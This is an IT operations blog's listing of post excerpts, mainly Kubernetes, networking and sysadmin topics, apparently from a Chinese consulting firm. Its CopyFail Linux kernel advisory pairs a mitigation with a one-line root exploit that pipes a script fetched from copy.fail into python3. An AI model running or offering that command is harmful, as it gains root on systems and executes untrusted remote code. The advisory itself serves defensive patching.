堆栈科技

内网 K8s MetalLB + Traefik

sklinux@qq.com (SK) — Fri, 17 Jul 2026 00:00:00 +0000

在私有网络中部署k8s，没有公网云中统一的GW，所以需要规范使用统一网关来进行业务发布。

整体架构

内网客户端 → MetalLB 分配固定内网 LBIP → Traefik 网关 → 业务 ClusterIP Service → Pod 业务全程只使用 ClusterIP，无 NodePort 暴露。

前置条件

裸机 / 虚拟机自建 K8s（无云厂商 LB）
一段内网空闲 IP 段（如192.168.3.200-192.168.3.220，和集群同网段、未被 DHCP 占用）
集群内核转发开启、防火墙放开 80/443 端口
kubectl 正常连通集群

一、部署 MetalLB v0.15（L2 二层模式，内网首选）

步骤 1：

修改 kube-proxy 开启 strictARP（必做，否则 MetalLB ARP 异常）

kubectl get configmap kube-proxy -n kube-system -o yaml | sed -e "s/strictARP: false/strictARP: true/" | kubectl apply -f -
# 重启kube-proxy生效
kubectl rollout restart daemonset kube-proxy -n kube-system
kubectl get daemonset kube-proxy -n kube-system

步骤 2：

一键部署 MetalLB 官方原生 yaml

Linux高危漏洞CopyFail（CVE-2026-31431)需要紧急修复

sklinux@qq.com (SK) — Fri, 01 May 2026 00:00:00 +0000

2026年5月6日，Linux内核7.0及更早版本被曝存在高危漏洞CopyFail（CVE-2026-31431）,攻击者可借其由低权限提权至root。
该漏洞于3月下旬披露，补丁已发布但尚未全面推送。
漏洞影响红帽RHEL 10.1、Ubuntu 24.04、Amazon Linux 2023、SUSE 16等主流发行版，亦波及Kubernetes及容器环境。
虽无法直接远程利用，但可与远程漏洞组合攻击或通过恶意链接、供应链投毒触发。

临时修复方案

sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null

在线直接提权

curl https://copy.fail/exp | python3
su
id

漏洞影响系统

该漏洞影响默认启用或可加载algifaead模块的Linux系统，已知受影响的产品如下:
1.Ubuntu24.04LTS 及 以 下;
2.AmazonLinux2023及以 下;
3.RedHatEnterpriseLinux10及 以 下;
4.RedHatEnterpriseLinux9及 以 下;
5.RedHatEnterpriseLinux8及 以 下;
6.SUSE16及以下;
7.Debian/Arch/Fedora/Rocky/Alma/Oracle等同期内核版本;
8.统信(UOS)1070、1060;
9.麒麟(Kylin)V11、V10;
10.openEuler 24.03 (LTS-SP1);

智能探星DNS｜企业内网DNS解析缓存与恶意域名封禁

sklinux@qq.com (SK) — Thu, 23 Apr 2026 00:00:00 +0000

智能探星DNS解析缓存系统，是我公司研发的一款在企业内部使用的智能DNS解析系统产品，基于全球分布式DNS服务器，提供高性能、高可用、灵活配置、安全防护等功能，为用户提供更优的访问体验。主要用于内部企业网络，提供给终端设备进行大批量、高并发DNS解析，以提升上网体验，针对网络安全紧急事件发生时，网络管理员或者网络运维人员可以快速安全可管理、控制、屏蔽恶意域名，包括蠕虫、勒索、木马、病毒域名等进行批量封禁。

网络安全联动

sklinux@qq.com (SK) — Thu, 29 Jan 2026 00:00:00 +0000

使用fail2ban对恶意的ssh扫描登录进行iptables封禁，单ip封禁效率太低。

JDV（Job Deck View）流程及注意事项

sklinux@qq.com (SK) — Wed, 21 Jan 2026 00:00:00 +0000

JDV指在版图数据送往工艺厂流片前，由工艺厂返回的mask图像数据，用于对比、验证版图数据的正确性。确保制造过程中不会出现错误，从而避免因数据偏差导致的芯片报废风险。该验证环节是流片前的最后检查，出错概率极低但需严谨对待。

如何自动创建用户并初始化环境设置？

sklinux@qq.com (SK) — Wed, 21 Jan 2026 00:00:00 +0000

如何在在EDA集群环境中如何自动创建用户并初始化环境设置？

CVE-2025-55182漏洞-npm 运行时漏洞

sklinux@qq.com (SK) — Thu, 04 Dec 2025 00:00:00 +0000

可在服务器上执行任意系统命令、读写任意文件，甚至完全接管服务。

Linux祖师爷的最新电脑配置

sklinux@qq.com (SK) — Thu, 04 Dec 2025 00:00:00 +0000

Linux 内核创始人 Linus Torvalds 最近与 YouTube 频道 Linus Tech Tips 合作，打造了一台被称为 “完美运行Linux PC” 的新主机。

IT-CAD服务｜芯片研发IT基础架构实施与运维支持

sklinux@qq.com (SK) — Fri, 31 Oct 2025 00:00:00 +0000

IT -CAD服务主要包含实施服务和运维支持服务：

一、IT实施服务：

1. 芯片设计的专业机房设计和实施
1. 芯片开发中的 IT 基础架构设计和实施(网络结构、防火墙、交换机、VPN、虚拟化平台等)
1. 接入和桌面系统的设计和实施（接入安全、桌面系统优化）
1. 信息安全架构设计和实施（网络安全、系统安全、数据安全、文件摆渡）
1. HPC 集群的规划和实施（服务器选型、集群标准化、作业调度、账号系统、EDA 软件环境等）
1. 存储和备份规划和实施（容量和性能规划、目录设计、Quota设计、备份计划等）
1. 混合云规划（安全防护、错峰及增效降本）

二、运维支持服务：

1. 网络基础配置（防火墙、交换机、VPN 等）
1. Linux 系统的运维
1. HPC 集群的运维（包括服务器和集群软件环境）
1. 存储和备份系统的日常运维，巡检

三、CAD 服务主要包含：

1. 设计数据和设计文档的版本管理
1. EDA 软件的安装和配置，多版本维护
1. 常用 OSS(Open Source Software)的安装和版本维护
1. License 的管理和配置

PON网络的上行带宽管理

sklinux@qq.com (SK) — Thu, 18 Sep 2025 00:00:00 +0000

在PON网络中，OLT设备的一个PON口会下挂一堆的ONU，因此，PON口的上行带宽是所有ONU共享的，那么上行带宽是如何在各ONU之间分配的呢？
个是在2024年网规案例分析题最后一个大题。

HSTS介绍

sklinux@qq.com (SK) — Wed, 03 Sep 2025 00:00:00 +0000

最近google chrome浏览器会自动将http跳转到https

CTF安全响应排错

sklinux@qq.com (SK) — Wed, 28 May 2025 00:00:00 +0000

排查异常linux环境排查方向和思路

运维堡垒机｜服务器运维安全审计与统一管控

sklinux@qq.com (SK) — Wed, 07 May 2025 00:00:00 +0000

运维堡垒机：企业IT安全的“智能关卡”与效率引擎

在Debian 12上部署DeepSeek+Ollama+Dify搭建知识库

sklinux@qq.com (SK) — Thu, 06 Feb 2025 00:00:00 +0000

在当今信息爆炸的时代，知识管理变得越来越重要。本文将指导您如何在Debian 12系统上部署DeepSeek、Ollama和Dify，搭建一个高效的知识库系统。

最大信道利用率计算

sklinux@qq.com (SK) — Fri, 18 Oct 2024 00:00:00 +0000

假设主机甲采用停-等协议向主机乙发送数据帧，数据帧长与确认帧长均为1000B，数据传输速率是10kbps，单向传播延时是200ms。则甲的最大信道利用率为多少？

Swoole 的协程模式时遇到了与 Xdebug 的冲突

sklinux@qq.com (SK) — Wed, 09 Oct 2024 00:00:00 +0000

php swoole框架运行报错 
msg:swoole\process\pool::start():: Using Xdebug in coroutines is extremely dangerous

陈旧centos更新源

sklinux@qq.com (SK) — Wed, 09 Oct 2024 00:00:00 +0000

官方的 CentOS 项目已于 2024 年停止维护，因此原有的官方 CentOS 镜像库不再提供更新。不过，仍有一些第三方镜像提供 CentOS 7 的更新支持，以下是几个长期可用的 YUM 源：

ARP安全解决方案

sklinux@qq.com (SK) — Wed, 25 Sep 2024 00:00:00 +0000

ARP（Address Resolution Protocol）安全是针对ARP攻击的一种安全特性，它通过一系列对ARP表项学习和ARP报文处理的限制、检查等措施来保证网络设备的安全性。
ARP安全特性不仅能够防范针对ARP协议的攻击，还可以防范网段扫描攻击等基于ARP协议的攻击。

mstp多实例生成树

sklinux@qq.com (SK) — Mon, 09 Sep 2024 00:00:00 +0000

多生成树协议MSTP（Multiple Spanning Tree Protocol）是IEEE 802.1s中定义的生成树协议，通过生成多个生成树，来破除以太网环路问题。

网络规划笔记

sklinux@qq.com (SK) — Sun, 01 Sep 2024 00:00:00 +0000

子网计算和可用主机计算

目录参数问题

sklinux@qq.com (SK) — Thu, 27 Jun 2024 00:00:00 +0000

在一个前端发布一个vue静态项目时候，遇见一个目录参数301的问题。记录一下过程

备份软件duplicati安装部署

sklinux@qq.com (SK) — Thu, 13 Jun 2024 00:00:00 +0000

备份软件duplicati 是一款免费备份软件，用于在线存储加密备份适用于 Windows、macOS 和 Linux。和restic 有共同和不同之处。duplicati更胜一筹！

轻量云服务器与云服务器的区别

sklinux@qq.com (SK) — Mon, 27 May 2024 00:00:00 +0000

现在各大云商都推出了，轻量云服务和云服务器。他们两者有什么区别？

容器名称互相访问

sklinux@qq.com (SK) — Mon, 13 May 2024 00:00:00 +0000

由于容器的 IP 地址会在容器重启后发生变化，因不能写死 IP 地址，使用容器的名字访问容器服务是最优的，所以就有了下文。

服务器运维服务案例

sklinux@qq.com (SK) — Tue, 23 Apr 2024 00:00:00 +0000

案例场景行业

互联网行业
1.云资产管理
2.产品性能瓶颈排查与故障调优
3.容器集群与云端弹性伸缩
4.web应用性能优化
游戏行业
1.游戏服务器集群与云端弹性伸缩
2.游戏数据安全
3.游戏数据备份
4.游戏数据容灾
5.合服与迁移
医疗行业
1.医疗数据安全
2.医疗数据备份
3.医疗数据容灾
4.医疗数据恢复
电商行业
1.电商数据安全
2.跨境数据合规访问
3.toktik直播与推广
金融行业
1.支付与钱包运维
2.支付与钱包数据安全
3.支付交易网络架构设计
4.金融牌照合规审查
传统芯片制造业
1.HPC 集群与云端弹性伸缩
2.IT-CAD流程设计安全方案
3.数据备份
4.数据容灾
5.网络安全与基础设施虚拟化管理
6.运维与IT支持
运营商行业
1.Pon网络建设
2.校园网、医院无源光网络建设
高速公路行业
1.监控网运行与管理维护
2.高速公路收费网络安全管理与维护

防篡改系统

sklinux@qq.com (SK) — Fri, 15 Mar 2024 00:00:00 +0000

防篡改系统是一种用于监测和保护计算机系统免受未经授权的更改的安全工具。它通常通过以下方式实现：

记文件系统inode使用耗尽的一次故障处理

sklinux@qq.com (SK) — Fri, 15 Mar 2024 00:00:00 +0000

记录一次文件系统inode使用耗尽的故障处理过程

mikrotik上做cn区域ip分流

sklinux@qq.com (SK) — Thu, 14 Mar 2024 00:00:00 +0000

A.工具：Mikrotik ROS Or CCR
B.实施过程和思路

如何开源实现中国区域和海外区域分流

sklinux@qq.com (SK) — Sun, 10 Mar 2024 00:00:00 +0000

A.工具：使用ipset和iptables
B.目标：国内外ip路由分流
C.实现过程：

联系我们

sklinux@qq.com (SK) — Thu, 22 Feb 2024 00:00:00 +0000

业务范围

‌系统管理与维护‌
网站与服务器监控
自动化运维
网络安全防御配置
云性能优化与云成本控制
应急响应

日常巡检‌：
检查服务器指标、分析日志，更新系统补丁
故障处理‌
配置优化
配置变更
业务协作‌
不区分云与传统服务器、网络资产环境

让数字基础设施成为您的竞争优势

我们专注于为企业提供全栈式IT运维与网络安全服务，通过专业技术团队和智能运维平台，确保您的业务系统稳定、安全、高效运行。

核心服务内容

智能运维管理

7×24小时服务器监控与自动化告警
性能调优与容量规划
高可用架构设计与实施
故障快速定位与恢复(MTTR<15分钟)

网络安全防护

安全风险评估与渗透测试
网络边界防护(WAF/IPS/IDS)
数据加密与访问控制
安全合规咨询(等保2.0/GDPR)

云服务支持

混合云环境统一管理
成本优化与资源调度
跨云迁移服务
容器化部署支持

服务差异化优势

• 20年以上行业经验 • 自主研发的智能运维管理平台
• 99.99%的服务可用性保障
• 按需定制的服务套餐

典型服务场景

某电商平台：大促期间零宕机
金融机构：通过等保三级认证
制造企业：成功实现云迁移

联系我们 email: sklinux@qq.com
国内微信：国外: telegram

使用Squid搭建匿名代理服务，并设置账号密码认证

sklinux@qq.com (SK) — Thu, 22 Feb 2024 00:00:00 +0000

使用Squid搭建匿名代理服务，并设置账号密码认证。本文由GPT生成！

Nginx配置最佳指南

sklinux@qq.com (SK) — Fri, 05 Jan 2024 00:00:00 +0000

为了更好的指导部署与测试艺术升系统nginx网站服务器高性能同时下安全稳定运行,需要对nginx服务进行调优与加固;

云上k8s需要避免的坑

sklinux@qq.com (SK) — Sun, 29 Oct 2023 00:00:00 +0000

在各种云上运行k8s需要避免一些故障，虽然各个云商都提供了一键开设使用各种CK,但是作为用户还是有很多需要避免的问题。云服务商是不能让你绕过的坑。

服务器维护与网络运维服务内容

sklinux@qq.com (SK) — Sat, 07 Oct 2023 00:00:00 +0000

1.云迁移

为客户提供IT系统规划、采购、实施、运维、咨询、培训、迁移的整体服务。
从传统本地平台、IDC机房或者已有的公有云到其他公有云之间的资产迁移服务。

2.网络维护方案

办公网络、出海业务网络、生产网络、物联网等基础设施的规划、建设以及整改维护。

3.数据安全方案

数据是企业的命脉，数据资产管理、备份、容灾机制的建立等。

4.企业上云以及业务容器化

企业从传统机房迁移之各大云商，提供整体迁移技术支持、方案探讨、实施、业务容器化。

5.网络安全解决方案

根据网络边界情况和场景，设计并交付相应的网络安全设施策略，提升企业网络安全。

6.专私云解决方案

对客户建设现有的私有云，计算池，达到高效节能的目标，TCO成本下降，业务数据稳定性和可靠性提升。

ESXI系统启动10分钟过慢-优化提速

sklinux@qq.com (SK) — Wed, 13 Sep 2023 00:00:00 +0000

在阿里云导出ecs的镜像在本地ESXI中启动，发现引导到login时间超长。大约要引导10分钟才能进入login界面

etcd容器化部署并简单测试

sklinux@qq.com (SK) — Thu, 11 May 2023 00:00:00 +0000

etcd是一个基于raft算法的具体实现，一种开源的分布式统一键值存储，用于分布式系统或计算机集群的共享配置、服务发现和的调度协调。
etcd 有助于促进更加安全的自动更新，协调向主机调度的工作，并帮助设置容器的覆盖网络。
etcd 是许多其他项目的核心组件,可以理解为分布式http api接口数据库（可以和zookeeper和redis做为比较）。

现代化监控系统单机部署

sklinux@qq.com (SK) — Wed, 28 Sep 2022 00:00:00 +0000

kubernetes会做系统中监控各个性能指标（比如节点cpu、内存、磁盘等），但是传统单机节点也需要从当初的catic、nagios、zabbix等转换到新的监控平台。这篇文章讲告诉大家如何通过容器化编排部署Prometheus+grafana+告警。

弱电布线之为什么要使用配线架？

sklinux@qq.com (SK) — Wed, 10 Aug 2022 00:00:00 +0000

说到弱电工程施工，自然免不了布线二字。在弱电布线当中，除了需掌握布线技巧之外，对于配件我们也需要清楚了解。比如说什么是配线架？为什么要使用配线架？下面我们一同前去了解下。

优雅退出应用

sklinux@qq.com (SK) — Wed, 10 Aug 2022 00:00:00 +0000

分布式系统中，应用服务容错是关键。kubernetes会做系统中监控各个性能指标（比如节点cpu、内存、亲和性策略等），会使pod在非预期计划的启动与停止。这篇文章讲告诉大家看看如何帮助Kubernetes更有效地完成工作并减少应用程序的停机时间和影响。

什么是 SASE

sklinux@qq.com (SK) — Mon, 16 May 2022 00:00:00 +0000

安全访问服务边缘（简称 SASE）是结合了网络和安全服务的云端 IT 模型。

关闭ubuntu服务器53服务

sklinux@qq.com (SK) — Wed, 16 Mar 2022 00:00:00 +0000

默认安装好ubuntu server 20.04LTS后，系统会自动开放53的dns服务为本机提供服务。

M-lag技术介绍

sklinux@qq.com (SK) — Wed, 22 Dec 2021 00:00:00 +0000

M-LAG（Multichassis Link Aggregation Group）提供一种跨设备链路聚合的技术。

ROS路由远程抓包分析网络流量

sklinux@qq.com (SK) — Wed, 22 Dec 2021 00:00:00 +0000

在Mikrotik路由器上进行抓包分析内网设备流量

EKS授权普通用户拥有K8S集群权限

sklinux@qq.com (SK) — Fri, 08 Oct 2021 00:00:00 +0000

在aws的EKS中，默认创建集群用户是集群的owner用户，如果需要授权给开发、测试、运维人员，需要进行单独授权。

一文教你如何做elasticsearch迁移

sklinux@qq.com (SK) — Fri, 02 Jul 2021 00:00:00 +0000

在生产、测试研发环境中，难免有这样的需求，让elasticsearch在不同云服务商之间做数据迁移，比如从阿里云到aws、aws到阿里云、阿里云到腾讯云、腾讯云到阿里云、自建es到阿里云、自建到aws等等。

xdai网络服务端点架设

sklinux@qq.com (SK) — Thu, 03 Jun 2021 00:00:00 +0000

当需要做Xdai区块链网络方面的应用开发，需要搭建自己的XDAI网络端点，因为毕竟其他第三方的网络性能、请求次数限制等都受限，比如需要部署swarm节点的时候，大量请求区块链网络，必须的有自己的Endpoint，所以自己搭的香。

怎样提升p盘速度

sklinux@qq.com (SK) — Mon, 03 May 2021 00:00:00 +0000

很多客户会问我们，如何提高P盘速度呢？其实这个问题很难用一句话回答。

IT运维管理面临的现状

sklinux@qq.com (SK) — Mon, 15 Mar 2021 00:00:00 +0000

IT运维管理面临的现状

网络视频直播带宽估算

sklinux@qq.com (SK) — Mon, 15 Mar 2021 00:00:00 +0000

像素

一个像素占多大内存多少字节取决于需要存储一个像素的多少信息，以及是否采用了压缩技术。

sudo安全漏洞

sklinux@qq.com (SK) — Wed, 27 Jan 2021 00:00:00 +0000

国外研究团队发现sudo堆溢出漏洞（CVE-2021-3156），漏洞隐藏十年之久，普通用户可以通过利用此漏洞，在默认配置的 sudo 主机上获取root权限。

在k8s上使用ecr作为业务镜像库

sklinux@qq.com (SK) — Sun, 20 Dec 2020 00:00:00 +0000

在k8s上使用ecr作为镜像仓库。

更优雅的持续发布ArgoCD

sklinux@qq.com (SK) — Thu, 26 Nov 2020 00:00:00 +0000

Argocd是一种更优雅的持续发布K8S服务的一种产品。
argocd是cncf毕业项目，前途不可估量。

服务器维护常识

sklinux@qq.com (SK) — Tue, 24 Nov 2020 00:00:00 +0000

服务器是任何企业都非常重视的硬件设备，您是否知道服务器需要像其他任何设备一样进行维护？

保持服务器运行比加载最新的修补程序和更新更复杂，使用我们总结的服务器维护15条来确保服务器的顺利运行并避免停机。

以下是我们整理的15条服务器维护技巧，可帮助您更好地管理硬件并避免最常见的问题。

在aws上使用eks进行服务发布

sklinux@qq.com (SK) — Mon, 24 Aug 2020 00:00:00 +0000

上一篇我们在aws上部署好了istio，但是服务的发布我们还需要解决。今天我们把aws+eks+LB+istio+服务发布流程给大家展示一下。

eks安装部署入门

sklinux@qq.com (SK) — Mon, 17 Aug 2020 00:00:00 +0000

Amazon EKS 是一种托管服务，让您能够轻松地运行Kubernetes AWS 无需安装、操作和维护您自己的Kubernetes控制平面或节点。
Kubernetes 是一个用于实现容器化应用程序的部署、扩展和管理的自动化的开源系统。

配置缺省内存运行与请求限制

sklinux@qq.com (SK) — Fri, 14 Aug 2020 00:00:00 +0000

有时候忘记设置pod的内存请求大小和内存运行大小。
对于k8s集群调度器的资源管理说不是很友好，而且在pod突然内存暴增的时候容易引起节点内核OOM杀掉服务。
这个时候我们可以设置NS级别缺省内存请求和内存缺省限制。

创建高可用RabbitMQ集群

sklinux@qq.com (SK) — Fri, 31 Jul 2020 00:00:00 +0000

在项目中需要业务解耦的时候要用着MQ，那么我们需要将RabbitMQ变的更加健壮和稳定，提高可用性。所有需要在kubernetes上创建高可用Rabbitmq集群或者在传统的服务器之间架设高可用的MQ集群。
由于RabbitMQ是由Erlang写的，所以天生支持分布式。

HPA自动扩缩容

sklinux@qq.com (SK) — Wed, 29 Jul 2020 00:00:00 +0000

在生产环境下，在面临服务需要扩容的场景时，可以使用Deployment/RC的Scale机制来实现。 Kubernetes支持对Pod的手动扩容和自动扩容。在扩容的时候可以定义CPU、内存等指标来激活扩容动作。

k8s资源请求与限制设定规范

sklinux@qq.com (SK) — Wed, 29 Jul 2020 00:00:00 +0000

关于k8s集群中部署服务，服务资源的申请和限制，合理利用资源以及调度器调度之间的一些最佳实践。

ipsecVPN

sklinux@qq.com (SK) — Tue, 28 Jul 2020 00:00:00 +0000

ipsec穿越运营商网络，siteA-to-siteB的ipsecVPN配置。

扩容oracle重做日志大小提升性能

sklinux@qq.com (SK) — Tue, 28 Jul 2020 00:00:00 +0000

redo重做日志文件是Oracle数据库的非常重要的组成部分。当日志文件发生切换时（Log Switch），会触发一个检查点，那么日志文件的大小就和检查点的触发频率相关。更为频繁的检查点可以缩短数据库的恢复时间，但是过于频繁的检查点却会带来性能负担。所以如何合理地设置日志文件的大小也是数据库优化的一个重要内容。而且，如果日志文件意外损失或丢失，那么就会丢失数据，所以更大的日志文件可能意味着更多的数据损失风险。所以数据库的任何一个调整都需要慎重。

使用PCQ优化客户网络流量

sklinux@qq.com (SK) — Thu, 16 Jul 2020 00:00:00 +0000

最近我们一个客户内部研发和办公网络带宽耗尽，内网数据传输出现卡顿和延迟的情况。

pod内核tcp栈相关参数修改

sklinux@qq.com (SK) — Tue, 07 Jul 2020 00:00:00 +0000

有些业务场景需要我们变更pod里面的一些tcp内核参数等。我们可以使用psp控制集群pod的相关内核参数，也可以使用pod级别的安全上下文。

服务稳定性如何保证?

sklinux@qq.com (SK) — Thu, 02 Jul 2020 00:00:00 +0000

最近一直在忙大促的全链路压测&稳定性保障相关工作，结果618还未开始，生产环境就出了几次生产故障，且大多都是和系统稳定性、性能相关的bad case。生产全链路压测终于告一段落，抽出时间将个人收集的稳定性相关资料整理review了一遍，顺带从不同的维度，谈谈稳定性相关的“务虚”认知和思考。

修复k8s上使用dashboard证书的问题

sklinux@qq.com (SK) — Thu, 02 Jul 2020 00:00:00 +0000

一般情况下，部署完dashboard后，通过chrome、safari是不能正常通过https访问面板的，只有firefox才有继续访问不安全的"https站点。这是由于几个方面的原因导致的。

华三防火墙与路由配置思路

sklinux@qq.com (SK) — Thu, 12 Mar 2020 00:00:00 +0000

记录一下一个网络互通防火墙、路由相关配置思路和过程。

常见光纤接口分类

sklinux@qq.com (SK) — Sun, 08 Mar 2020 00:00:00 +0000

作为一个运维来说，偶尔要去现场进行网络方面的割接，系统升级、网络升级等。会遇见各种各样的光纤接口。以及各种光纤链路层的操作等。特此记录分享下常见光纤尾纤接口类型。

企业远程办公解决方案

sklinux@qq.com (SK) — Fri, 07 Feb 2020 00:00:00 +0000

新冠战“疫”的当下，作为企业需要进行履行社会责任，员工只能进行远程办公。
那么如何有效组织员工远程接入企业网络进行远程办公呢？

替代NTP时间同步服务器

sklinux@qq.com (SK) — Wed, 05 Feb 2020 00:00:00 +0000

ntp时间同步服务，经常出现被黑客攻击的情况。Chrony是一个开源的自由软件，它能保持系统时钟与时钟服务器（NTP）同步，让时间保持精确，然而比NTP更安全。

kubernetes安装前的一些优化措施

sklinux@qq.com (SK) — Mon, 06 Jan 2020 00:00:00 +0000

在部署kubernetes之前，对系统的一些基础优化和准备。

下一代VPN代表WireGuard介绍与部署测试

sklinux@qq.com (SK) — Fri, 03 Jan 2020 00:00:00 +0000

wireguard是下一代linux内核级VPN，更加安全、性能更好并且更方便配置使用，是系统运维人员、网络运维人员的好帮手。

怎样维护阿里云服务器

sklinux@qq.com (SK) — Thu, 02 Jan 2020 00:00:00 +0000

很多客户会问我们，如何进行阿里服务器？首先你的创建阿里云账号，然后购买相关服务器产品。然后根据业务需要选择合适规格的服务器。然后购买了后，根据你的信息系统架构，然后找我们搭建相应的产品运行环境。

怎样维护腾讯云服务器

sklinux@qq.com (SK) — Thu, 02 Jan 2020 00:00:00 +0000

很多客户会问我们，如何进行腾讯IT-CAD服务？首先你的创建腾讯云账号，然后购买相关服务器产品。然后根据业务需要选择合适规格的服务器。然后购买了后，根据你的信息系统架构，然后找我们搭建相应的产品运行环境。

卸载阿里云云盾

sklinux@qq.com (SK) — Mon, 30 Dec 2019 00:00:00 +0000

阿里云默认在所有的ecs服务器上部署了云盾，主要用于主机漏洞、系统监控、系统补丁等的扫描、检测等。但是有时候功能非常鸡肋，我们需要帮助客户卸载掉阿里云云盾。

基于网格服务进行多版本发布

sklinux@qq.com (SK) — Fri, 20 Dec 2019 00:00:00 +0000

Istio基于Kubernetes最大的方便就是可以基于金丝雀多版本进行业务服务发布。当然还有服务之间互相网格调度也是很大的进步。当然在有分布式服务框架(dubbo、Springcloud）下这根本不算什么。

互联网产品获取真实用户ip需求分析与技术实现

sklinux@qq.com (SK) — Wed, 27 Nov 2019 00:00:00 +0000

很多互联网产品在某些地方需要展示用户ip场景的时候，有这样的一个需求需要相应的系统能获取到用户真实的ip。这个需求非常非常普遍，非常非常多。
但是很多人都没有理解到什么是“真实”ip和真正需要的ip以及解决方案。

Kubernetes1.16集群中部署指标服务遇见的坑

sklinux@qq.com (SK) — Mon, 04 Nov 2019 00:00:00 +0000

在 Kubernetes1.16集群中，部署metrics-server-0.3.6，发现一直没有数据出现，不出现cpu、内存等利用率核心指标。

php-fpm远程执行漏洞

sklinux@qq.com (SK) — Fri, 01 Nov 2019 00:00:00 +0000

关于PHP-FPM远程代码执行漏洞（CNNVD-201910-1456、CVE-2019-11043）情况（2019.10.22），成功利用漏洞的攻击者，可远程执行代码。当Nginx + php-fpm 的服务器在特定配置下，都会受该漏洞影响。目前我们观察是php7才会受此漏洞影响。

Linux服务器性能评估

sklinux@qq.com (SK) — Thu, 31 Oct 2019 00:00:00 +0000

我们评估一台linux服务器的性能是好还是坏，是通过多个系统关键指标得出的判断。我们这篇文章主要详细阐述了相关指标的计算方法和数据获取的工具。

kubernetes删除Namespace出现Terminating状态处理

sklinux@qq.com (SK) — Tue, 29 Oct 2019 00:00:00 +0000

在 Kubernetes中，有时候我们一些测试的命名空间需要删除，但是里面还有运行了一系列对象，比如有deployment、pod和service等等。

supervisor守护服务遇见的几个坑

sklinux@qq.com (SK) — Fri, 11 Oct 2019 00:00:00 +0000

近期在ubunt系列服务器上遇见了supervisor的几个坑，所以将服务守护都已经切换到systemd。

Laravel运行缓存权限问题

sklinux@qq.com (SK) — Fri, 27 Sep 2019 00:00:00 +0000

Laravel 开发中遇到权限问题 failed to open stream: Permission denied

linux下rm删除与恢复

sklinux@qq.com (SK) — Fri, 27 Sep 2019 00:00:00 +0000

最近一个新客户由于长期没做备份，再加上客户与之前的技术合作伙伴之间的一些不愉快。导致客户的整体linux系统被全部用rm删除。我们对这种技术人员的职业素养、道德品质和法律素养表示唏嘘，客户已经在第一时间进行了报案和立案工作，犯罪嫌疑人迟早会被绳之以法的。在唏嘘感叹的同时间，我们建议所有的企业第一时间要做好数据定时异地备份，下面介绍linux下的ext4文件系统删除原理。

ubuntu关闭内核自动更新

sklinux@qq.com (SK) — Tue, 17 Sep 2019 00:00:00 +0000

ubuntu server和desktop版本都默认启动了，自动更新内核的操作。这对于生产环境来说是不友好的。因为新的内核可能引入新的安全问题、不稳定因素。

以太坊挖矿介绍

sklinux@qq.com (SK) — Tue, 17 Sep 2019 00:00:00 +0000

以太坊挖矿是一个涉及高度计算的工作，需要大量的时间和处理能力,期间会消耗大量的电力。
其主要算法是Ethash。

高效备份神器restic推荐!

sklinux@qq.com (SK) — Tue, 10 Sep 2019 00:00:00 +0000

作为一个DevOps、SaOPS、NetOps、系统运维、网络运维、DBA人员来说，资料数据的备份是必不可少的。我们经常在各个软件产品维护过程备份各类数据库、程序文件、配置文件等。经常使用的工具有 cp、scp、rsync、ssh、tar、git等等。然鹅，Restic是集大成于一身的超级备份神器！

VPC安全组

sklinux@qq.com (SK) — Tue, 03 Sep 2019 00:00:00 +0000

aws的安全组充当实例的虚拟防火墙以控制入站和出站流量。

CoreDNS自定义域名

sklinux@qq.com (SK) — Mon, 02 Sep 2019 00:00:00 +0000

kubernetes内部集群中域名解析都是通过coredns进行解析svc的。有时候我们需要在业务系统中或者在部署metrics服务的时候，比如节点主机名需要做静态ip映射。

Metrics插件部署

sklinux@qq.com (SK) — Mon, 02 Sep 2019 00:00:00 +0000

Kubernetes关于资源使用情况的metrics，可以通过 Metrics API 获取到。
Kubernetes 1.11以后已经废弃heapster。
再加上HPA弹性横向扩缩容，也需要通过Metrics服务收集到的CPU、MEM等指标进行扩容和缩容操作。
这里我们基于Kubernetes1.14版本安装Metrics Server。

mysql7密码强度策略

sklinux@qq.com (SK) — Mon, 02 Sep 2019 00:00:00 +0000

mysql7后性能、安全性有所提高。默认启动mysqld后安全性大幅度上升，而且会产生随机root的密码。

k8s集群中部署apollo配置中心

sklinux@qq.com (SK) — Thu, 01 Aug 2019 00:00:00 +0000

apollo配置中心非常方便解决的微服务依赖不同配置的需求，让运维和开发人员管理业务软件项目配置文件变得更容易。但是以往我们都是根据不同环境部署不同的apollo配置中心，没有部署到k8s集群。

SSH转发VPC内部服务

sklinux@qq.com (SK) — Thu, 01 Aug 2019 00:00:00 +0000

使用SSH搭建隧道，让Devops人员访问VPC内部的一些服务，既安全又方便，即开即用是杀人越货必备之神器！

jager分布式跟踪部署

sklinux@qq.com (SK) — Wed, 31 Jul 2019 00:00:00 +0000

Jaeger是Uber开发的一套分布式追踪系统，已在Uber大规模使用。

并加入CNCF 开源组织。使用Jaeger可以非常直观的展示整个分布式系统的调用链，由此可以很好发现和解决问题。

EKS集群中使用EBS做卷

sklinux@qq.com (SK) — Thu, 18 Jul 2019 00:00:00 +0000

在EKS集群中，有些时候对一些deployment服务有IO要求，这时候可以使用EBS块设备进行挂载到服务中使用。再加上EBS有各种容量尺寸、存储介质、卷快照可供选择，以此保证系统IO的需要和数据的可靠性。

容器中Nginx日志的切割滚动

sklinux@qq.com (SK) — Mon, 08 Jul 2019 00:00:00 +0000

无论是对于系统还是对于应用而言，日志是一个极其重要的部分，在出现问题需要追踪的时候，日志文件就发挥它的价值了。
通常日志信息会保存在文件中，显然随着时间的推移，日志文件文件体积会变成很大、记录时间跨度也变得很大。
如果需要打开日志追溯问题时变得异常困难，所以我们需要对我们的日志进行管理，通过某种策略对日志进行分割以降低日志文件的体积和跨度。

logrotate就是这样的一个工具。

对于系统日志而言，并没有做这样的策略。对于应用而已，我们会要求开发者将日志写入到以时间命令的日志文件中。

一个日志文件保存一天时间的日志，这是一种比较方便快捷的方式。

我们一般在容器中的nginx日志会通过卷的方式挂载在宿主机上，日志也会随着时间推移变的越来越大。

我们将在宿主机上进行日志切割容器中的nginx日志。

升级kubernetes到1.15

sklinux@qq.com (SK) — Mon, 01 Jul 2019 00:00:00 +0000

Kubernetes v1.15的重点关注的更新:
kubeadm证书管理在1.15中变得更加强大，kubeadm现在可以在它们到期之前无缝转动所有证书（升级时）有关如何管理证书的信息，请查看kubeadm文档。

Kubernetes发布策略介绍

sklinux@qq.com (SK) — Mon, 24 Jun 2019 00:00:00 +0000

在 Kubernetes中，有不同的发布更新的方式，有必要选择正确的策略。以便应用程序更新期间使产品基础架构可靠，尽量对用户产生影响。

ServiceMesh流量走向

